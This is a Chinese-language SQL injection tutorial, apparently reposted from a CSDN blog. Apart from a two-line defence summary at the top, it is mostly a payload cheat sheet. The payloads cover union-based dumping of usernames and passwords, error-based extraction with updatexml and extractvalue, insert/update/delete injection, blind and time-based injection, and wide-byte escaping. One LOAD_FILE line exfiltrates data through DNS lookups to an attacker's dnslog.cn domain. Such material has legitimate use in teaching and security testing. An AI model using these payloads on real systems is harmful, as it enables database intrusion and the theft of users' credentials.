SQL注入详解
文章目录
SQL注入漏洞执行的主要原因就是在数据交互中,前端数据出入后台处理时,没有做严格的判断,导致传入的参数拼接到SQL语句中后,被当作SQL语句一部分执行。
防范策略:
- 对传入sql语句中的变量进行过滤,不允许危险字符传入。
- 使用参数化,预编译sql语句。
1. 数字型
后台拼接sql语句类似于
select name,password from users where id = $id
,注入语句如下:下述id为前端传递的参数
# 通过order by确认查询语句字段数,当值大于查询字段数会报错
id=1 order by 3
# 暴库语句,假设查询字段数为2, 联合查询
id=-1 union select 1, group_concat(schema_name) from information_schema.schemata
# 当前库
id=-1 union select 1,database()
# 爆表
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
# 爆列
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
# 拖库 没有返回语句限制时
id=-1 union select 1,concat_ws('-',username,password) from users
# 拖库 有语句返回限制
id=-1 union select 1,group_concat(value) from (select concat_ws("-",username, password) value from users) t
2. 字符型
后台拼接sql语句类似于
select name,password from users where id = "$id"
,注入语句如下:id为前端传递参数
# 确定查询列
id=1' order by 3 #
# 暴库
id=1' union select 1, group_concat(schema_name) from information_schema.schemata #
# 当前库名称
id=-1' union select 1,database() #
# 报表
id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
# 爆列
id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() #
# 拖库 没有返回语句限制时
id=1' union select 1,concat_ws('-',username,password) from users #
# 拖库 有语句返回限制
id=1' union select 1,group_concat(value) from (select concat_ws("-",username, password) value from users) t #
3. 搜索型
sql语句类似
select username from user where username like '%{$username}%';
绕过方式的payload:x%' union select 1,2,3 #
.具体要拖什么数据参照上述语句。
# 直接拖库
x%' union select 1,2,group_concat(value) from (select concat_ws("-",username, password) value from users) t #
4. xxx型注入
sql语句类似于select username,id,password from user where username = ('$name')
,绕过方式 : x') union select 1,2,3 #
# 拖库
x') union select 1,group_concat(value) from (select concat_ws("-",username, password) value from users) t #
5. insert/update注入
Insert/update注入指的是前端提供的参数,后台会通过insert/update这个操作插入/更新到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在提交请求时通过拼接 SQL 注入。基于页面报错。
sql语句类似这样的$query="insert into member(username,pw,sex,phonenum,email,address) values('$username','$password','$sex','$phonenum','$email','$address')";
在最后一个位置的构建payload。
# 注入获取数据库语句,上面那个sql语句,设置address值为下面这个
1' and updatexml(1,concat('~',database()),1)) #
# updatexml函数介绍
UPDATEXML(xml_target, xpath_expr, new_xml_value)
- xml_target: 目标xml数据
- xml_expr: XPATH表达式,用于指定更新节点
- new_xml_value:新的值,用于更新指定的xml节点
这个函数的功能是更新xml数据中符合XPATH表达式的内容。利用点如果传入xpath表达式或XML数据,updatexml会抛出错误信息。适用于错误会先的情况下,未屏蔽错误信息时。
另一个可利用的函数, 处理xml的函数,用于从xml数据中提取值,通过错误回显利用
EXTRACTVALUE(xml_target, xpath_expr)
xml_target: 目标xml数据
xpath_expr: XPath表达式
原sql语句
SELECT * FROM users WHERE id = '1';
# 获取数据库名称,参数
' AND UPDATEXML(NULL, CONCAT('~', DATABASE(), '~'), NULL) --
# 获取库名
1' AND EXTRACTVALUE(1, CONCAT('~', DATABASE(), '~')) --
# 枚举表名,sql语句
' AND UPDATEXML(NULL, CONCAT('~', (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), '~'), NULL) --
# 枚举类名
' AND UPDATEXML(NULL, CONCAT('~', (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='target_table'), '~'), NULL) --
# 获取表中数据
' AND UPDATEXML(NULL, CONCAT('~', (SELECT GROUP_CONCAT(target_column) FROM target_table), '~'), NULL) --
6. update注入
前提条件: 页面上可以看到sql报错内容。
# sql语句形式
update member set sex='$sex',phonenum='$phonenum',address='$add',email='$email' where username='xxx'
# 注入payload在最后一个位置
1' and updatexml(1,concat('~',database()),1) #
1' and extractvalue(1,concat('~',database())) #
7. delete注入
# 原sql语句形式
delete from z`table_name where id = xxx
# 注入
-1 and updatexml(1,concat('~',database()),1) #
-1 and extractvalue(1,concat('~',database())) #
8. 盲注:
利用场景:
- 页面上没有显示位,并且没有输出SQL语句执行错误信息。
- 只能通过页面返回正常和不正常进行判断。
盲注常用函数
- left(字符串,截取长度): 从左边截取指定长度的字符串
- length(字符串):
- ascii(字符串): 将指定字符串进行编码
- substr(字符串,start,长度):截取指定长度字符串
- mid(字符串,start,长度)
- sleep(n): 挂起n秒
- if(参数1,参数2,参数3): 1为条件,true执行2,否则执行3
- LOAD_FILE(filename): 文件绝对路径,函数会尝试读取此路径下的文件。Mysql支持。
# 使用示例
LOAD_FILE('\\\\<敏感数据>.xxx.dnslog.cn\\a')
- \\\\: 双鞋干表示网络路径的起始(UNC路径)
- <敏感数据>.xxx.dns.log.cn: 攻击者的DNS服务器域名。目标服务器会尝试发起域名解析。
8.1 布尔盲注
- 页面有显示位
- 没有报错语句
- 正确的sql语句和错误的sql语句返回值不同
通过构造payload观察页面情况是否符合预期,判断是否存在注入点以及利用注入点查询数据。
#原sql语句为
select id,username from user where username = '$username'
8.2 时间盲注
- 页面没有显示位
- 没有报错语句
- 正确sql和错误sql返回值相同
#原sql语句为
select id,username from user where username = '$username'
# payload
xxx' or sleep(10) #
9. 宽字节注入
宽字节注入利用了数据库处理多字节字符(GBK、UTF-16)的特性:
- 字符编码原理
- 在多字节字符编码中,一个字符可以由多个字节表示。 条件:数据库支持多字节编码, 输入被部分转义
- GBK编码中,字符可能由一个或两个字节表示。
- 如果某些字符以
%
开头,数据库会尝试将后续字符解析为完整的多字节字符。
- 宽字节注入的关键
- 攻击者可以通过恶意构造的输入,利用编码不当处理逃逸原本应该被转移的字符。
- 例如当
'
被转移成\'
,但由于宽字节字符的特性,转移\
被融入到多字节字符中,导致注入有效。
mysql在使用GBK编码的时候,会认为两个字符是一个汉字【前一个ascii码要大于128,才到汉字的范围】。当前端传递参数中带有’''会被转移成
\'
,可以通过%df
进行宽字节处理,转移之后%df/’
会被认为成一个汉字从而变成運'
, 让单引号绕过转义。
原文地址:https://blog.csdn.net/qq_45776114/article/details/143956602
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!